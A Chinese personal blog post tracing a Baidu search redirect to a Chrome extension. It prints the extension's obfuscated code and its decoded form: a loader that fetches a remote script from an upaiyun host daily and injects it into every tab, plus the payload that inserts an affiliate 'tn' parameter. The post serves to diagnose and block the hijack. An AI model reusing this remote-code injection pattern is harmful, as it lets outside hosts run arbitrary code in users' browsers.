Chrome 谷歌浏览器 默认百度搜索时,会跳转到tn=&?tn=90855269_hao_pg

在家几天发现,用chrome地址栏直接搜索东西会跳转一次,很烦
tn
回家之前用的还是正常的难道是运营商劫持了?
在找到一篇分析的文章:

http://wenku.baidu.com/view/e9660493aef8941ea76e05cf.html

看了下,自己有装有道云笔记拓展,看了下并不是
2.pic
尝试看了其他几个拓展找到了文章所提的相似代码
优酷收费电影免费看 3.0
3.pic
;;(function (){var _0xa7f0=["\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x74\x61\x74\x75\x73","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x63\x6F\x64\x65","\x6C\x61\x73\x74\x5F\x73\x79\x6E\x63\x65\x64\x5F\x61\x74","\x6E\x6F\x77","\x47\x45\x54","\x68\x74\x74\x70\x3A\x2F\x2F\x6D\x6E\x79\x62\x61\x67\x2E\x62\x30\x2E\x75\x70\x61\x69\x79\x75\x6E\x2E\x63\x6F\x6D\x2F\x62\x6F\x6F\x74\x73\x74\x72\x61\x70\x6D\x69\x6E\x2E\x6A\x73","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","","\x64\x6F\x63\x75\x6D\x65\x6E\x74\x5F\x65\x6E\x64","\x65\x78\x65\x63\x75\x74\x65\x53\x63\x72\x69\x70\x74","\x74\x61\x62\x73","\x61\x64\x64\x4C\x69\x73\x74\x65\x6E\x65\x72","\x6F\x6E\x55\x70\x64\x61\x74\x65\x64"];function loadScript(){var _0x7607x2= new XMLHttpRequest();_0x7607x2[_0xa7f0[0]]=function (){try{if(_0x7607x2[_0xa7f0[1]]==200&&_0x7607x2[_0xa7f0[2]]==4){var _0x7607x3=_0x7607x2[_0xa7f0[3]];localStorage[_0xa7f0[4]]=_0x7607x3;localStorage[_0xa7f0[5]]=Date[_0xa7f0[6]]();} ;} catch(ex){} ;} ;_0x7607x2[_0xa7f0[9]](_0xa7f0[7],_0xa7f0[8],true);_0x7607x2[_0xa7f0[10]](null);} ;chrome[_0xa7f0[15]][_0xa7f0[17]][_0xa7f0[16]](function (_0x7607x4){if((localStorage[_0xa7f0[5]]==undefined)||((Date[_0xa7f0[6]]()-localStorage[_0xa7f0[5]])>(1000*60*60*24))){loadScript();} ;if( typeof (localStorage[_0xa7f0[4]])==_0xa7f0[11]||localStorage[_0xa7f0[4]]==_0xa7f0[12]){loadScript();} ;if( typeof (localStorage[_0xa7f0[4]])!=_0xa7f0[11]){chrome[_0xa7f0[15]][_0xa7f0[14]](_0x7607x4,{code:localStorage[_0xa7f0[4]],allFrames:true,runAt:_0xa7f0[13]});} ;} );if( typeof (localStorage[_0xa7f0[4]])==_0xa7f0[11]||localStorage[_0xa7f0[4]]==_0xa7f0[12]){loadScript();} ;})();
混淆的有点厉害,经过编码了,解密钱需要解码
解码后

;;
(function() {
	var _0xa7f0 = ["onreadystatechange", "status", "readyState", "responseText", "code", "last_synced_at", "now", "GET", "http://mnybag.b0.upaiyun.com/bootstrapmin.js", "open", "send", "undefined", "", "document_end", "executeScript", "tabs", "addListener", "onUpdated"];

	function loadScript() {
		var _0x7607x2 = new XMLHttpRequest();
		_0x7607x2[_0xa7f0[0]] = function() {
			try {
				if (_0x7607x2[_0xa7f0[1]] == 200 && _0x7607x2[_0xa7f0[2]] == 4) {
					var _0x7607x3 = _0x7607x2[_0xa7f0[3]];
					localStorage[_0xa7f0[4]] = _0x7607x3;
					localStorage[_0xa7f0[5]] = Date[_0xa7f0[6]]();
				};
			} catch (ex) {};
		};
		_0x7607x2[_0xa7f0[9]](_0xa7f0[7], _0xa7f0[8], true);
		_0x7607x2[_0xa7f0[10]](null);
	};
	chrome[_0xa7f0[15]][_0xa7f0[17]][_0xa7f0[16]](function(_0x7607x4) {
		if ((localStorage[_0xa7f0[5]] == undefined) || ((Date[_0xa7f0[6]]() - localStorage[_0xa7f0[5]]) > (1000 * 60 * 60 * 24))) {
			loadScript();
		};
		if (typeof(localStorage[_0xa7f0[4]]) == _0xa7f0[11] || localStorage[_0xa7f0[4]] == _0xa7f0[12]) {
			loadScript();
		};
		if (typeof(localStorage[_0xa7f0[4]]) != _0xa7f0[11]) {
			chrome[_0xa7f0[15]][_0xa7f0[14]](_0x7607x4, {
				code: localStorage[_0xa7f0[4]],
				allFrames: true,
				runAt: _0xa7f0[13]
			});
		};
	});
	if (typeof(localStorage[_0xa7f0[4]]) == _0xa7f0[11] || localStorage[_0xa7f0[4]] == _0xa7f0[12]) {
		loadScript();
	};
})();

果然有http://mnybag.b0.upaiyun.com/bootstrapmin.js
4.pic
解码后:
;;
(function(d) {
var _0xa5dc = ["href", "location", "www.baidu.com", "match", "substring", "search", "&", "split", "length", "=", "undefined", "string", "push", "tn", "", "tn=63090008_1_hao_pg", "?", "join"];
var href = d[_0xa5dc[1]][_0xa5dc[0]];
if (document[_0xa5dc[1]][_0xa5dc[0]][_0xa5dc[3]](_0xa5dc[2])) {} else {
return false;
};
var QueryString = function() {
var _0x85c7x3 = {};
var _0x85c7x4 = window[_0xa5dc[1]][_0xa5dc[5]][_0xa5dc[4]](1);
var _0x85c7x5 = _0x85c7x4[_0xa5dc[7]](_0xa5dc[6]);
for (var _0x85c7x6 = 0; _0x85c7x6 < _0x85c7x5[_0xa5dc[8]]; _0x85c7x6++) { var _0x85c7x7 = _0x85c7x5[_0x85c7x6][_0xa5dc[7]](_0xa5dc[9]); if (typeof _0x85c7x3[_0x85c7x7[0]] === _0xa5dc[10]) { _0x85c7x3[_0x85c7x7[0]] = _0x85c7x7[1]; } else { if (typeof _0x85c7x3[_0x85c7x7[0]] === _0xa5dc[11]) { var _0x85c7x8 = [_0x85c7x3[_0x85c7x7[0]], _0x85c7x7[1]]; _0x85c7x3[_0x85c7x7[0]] = _0x85c7x8; } else { _0x85c7x3[_0x85c7x7[0]][_0xa5dc[12]](_0x85c7x7[1]); }; }; }; return _0x85c7x3; }(); if (QueryString[_0xa5dc[13]]) {} else { var se_array = []; for (var index in QueryString) { if (index != _0xa5dc[14]) { se_array[_0xa5dc[12]](index + _0xa5dc[9] + QueryString[index]); }; }; se_array[_0xa5dc[12]](_0xa5dc[15]); document[_0xa5dc[1]][_0xa5dc[5]] = _0xa5dc[16] + se_array[_0xa5dc[17]](_0xa5dc[6]); }; })(document);

拓展的作者推广挣钱也不容易
tn=63090008_1_hao_pg
window['location']['search']['substring'](1)
屏蔽方式,修改百度搜索
7.pic

未经允许不得转载:ganlei的个人博客 » Chrome 谷歌浏览器 默认百度搜索时,会跳转到tn=&?tn=90855269_hao_pg

赞 (1)
分享到:更多 ()